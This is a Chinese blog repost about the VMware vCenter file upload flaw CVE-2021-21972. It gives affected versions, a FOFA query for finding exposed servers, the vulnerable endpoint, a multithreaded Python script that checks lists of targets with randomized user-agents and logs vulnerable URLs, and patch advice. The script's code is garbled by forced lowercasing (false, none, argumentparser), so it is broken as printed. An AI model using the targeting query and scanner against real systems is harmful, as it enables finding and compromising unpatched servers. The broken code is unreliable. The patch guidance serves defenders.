欢迎您访问程序员文章站本站旨在为大家提供分享程序员计算机编程知识!
您现在的位置是: 首页  >  IT编程

关于Vmware vcenter未授权任意文件上传漏洞(CVE-2021-21972)的问题

程序员文章站 2022-04-26 13:57:35
背景cve-2021-21972 vmware vcenter的一个未授权的命令执行漏洞。该漏洞可以上传一个webshell至vcenter服务器的任意位置,然后执行webshell即可。影响版本vm...

背景

cve-2021-21972 vmware vcenter的一个未授权的命令执行漏洞。该漏洞可以上传一个webshell至vcenter服务器的任意位置,然后执行webshell即可。

影响版本

vmware:esxi:7.0/6.7/6.5
vmware:vcenter_server:7.0/6.7/6.5

漏洞复现 fofa查询

语法:title="+ id_vc_welcome +"

关于Vmware vcenter未授权任意文件上传漏洞(CVE-2021-21972)的问题

poc

https://x.x.x.x/ui/vropspluginui/rest/services/uploadova

关于Vmware vcenter未授权任意文件上传漏洞(CVE-2021-21972)的问题

使用https://github.com/qmf0c3uk/cve-2021-21972-vcenter-6.5-7.0-rce-poc脚本批量验证

#-*- coding:utf-8 -*-
banner = """
    888888ba       dp           
    88  `8b      88           
    a88aaaa8p' .d8888b. d8888p .d8888b. dp  dp 
    88  `8b. 88' `88  88  y8ooooo. 88  88 
    88  .88 88. .88  88     88 88. .88 
    88888888p `88888p8  dp  `88888p' `88888p' 
  ooooooooooooooooooooooooooooooooooooooooooooooooooooo 
        @time:2021/02/24 cve-2021-21972.py
        c0de by nebulabdsec - @batsu         
 """
print(banner)

import threadpool
import random
import requests
import argparse
import http.client
import urllib3

urllib3.disable_warnings(urllib3.exceptions.insecurerequestwarning)
http.client.httpconnection._http_vsn = 10
http.client.httpconnection._http_vsn_str = 'http/1.0'

target_uri = "/ui/vropspluginui/rest/services/uploadova"

def get_ua():
  first_num = random.randint(55, 62)
  third_num = random.randint(0, 3200)
  fourth_num = random.randint(0, 140)
  os_type = [
    '(windows nt 6.1; wow64)', '(windows nt 10.0; wow64)', '(x11; linux x86_64)',
    '(macintosh; intel mac os x 10_12_6)'
  ]
  chrome_version = 'chrome/{}.0.{}.{}'.format(first_num, third_num, fourth_num)

  ua = ' '.join(['mozilla/5.0', random.choice(os_type), 'applewebkit/537.36',
          '(khtml, like gecko)', chrome_version, 'safari/537.36']
         )
  return ua

def cve_2021_21972(url):
  proxies = {"scoks5": "http://127.0.0.1:1081"}
  headers = {
    'user-agent': get_ua(),
    "content-type": "application/x-www-form-urlencoded"
  }
  targeturl = url + target_uri
  try:
    res = requests.get(targeturl,
              headers=headers,
              timeout=15,
              verify=false,
              proxies=proxies)
              # proxies={'socks5': 'http://127.0.0.1:1081'})
    # print(len(res.text))
    if res.status_code == 405:
      print("[+] url:{}--------存在cve-2021-21972漏洞".format(url))
      # print("[+] command success result: " + res.text + "\n")
      with open("存在漏洞地址.txt", 'a') as fw:
        fw.write(url + '\n')
    else:
      print("[-] " + url + " 没有发现cve-2021-21972漏洞.\n")
  # except exception as e:
  #   print(e)
  except:
    print("[-] " + url + " request error.\n")
def multithreading(filename, pools=5):
  works = []
  with open(filename, "r") as f:
    for i in f:
      func_params = [i.rstrip("\n")]
      # func_params = [i] + [cmd]
      works.append((func_params, none))
  pool = threadpool.threadpool(pools)
  reqs = threadpool.makerequests(cve_2021_21972, works)
  [pool.putrequest(req) for req in reqs]
  pool.wait()

def main():
  parser = argparse.argumentparser()
  parser.add_argument("-u",
            "--url",
            help="target url; example:http://ip:port")
  parser.add_argument("-f",
            "--file",
            help="url file; example:url.txt")
  # parser.add_argument("-c", "--cmd", help="commands to be executed; ")
  args = parser.parse_args()
  url = args.url
  # cmd = args.cmd
  file_path = args.file
  if url != none and file_path ==none:
    cve_2021_21972(url)
  elif url == none and file_path != none:
    multithreading(file_path, 10) # 默认15线程

if __name__ == "__main__":
  main()

关于Vmware vcenter未授权任意文件上传漏洞(CVE-2021-21972)的问题

exp 修复建议

vcenter server7.0版本升级到7.0.u1c
vcenter server6.7版本升级到6.7.u3l
vcenter server6.5版本升级到6.5 u3n

到此这篇关于关于vmware vcenter未授权任意文件上传漏洞(cve-2021-21972)的问题的文章就介绍到这了,更多相关vmware vcenter上传漏洞内容请搜索以前的文章或继续浏览下面的相关文章希望大家以后多多支持!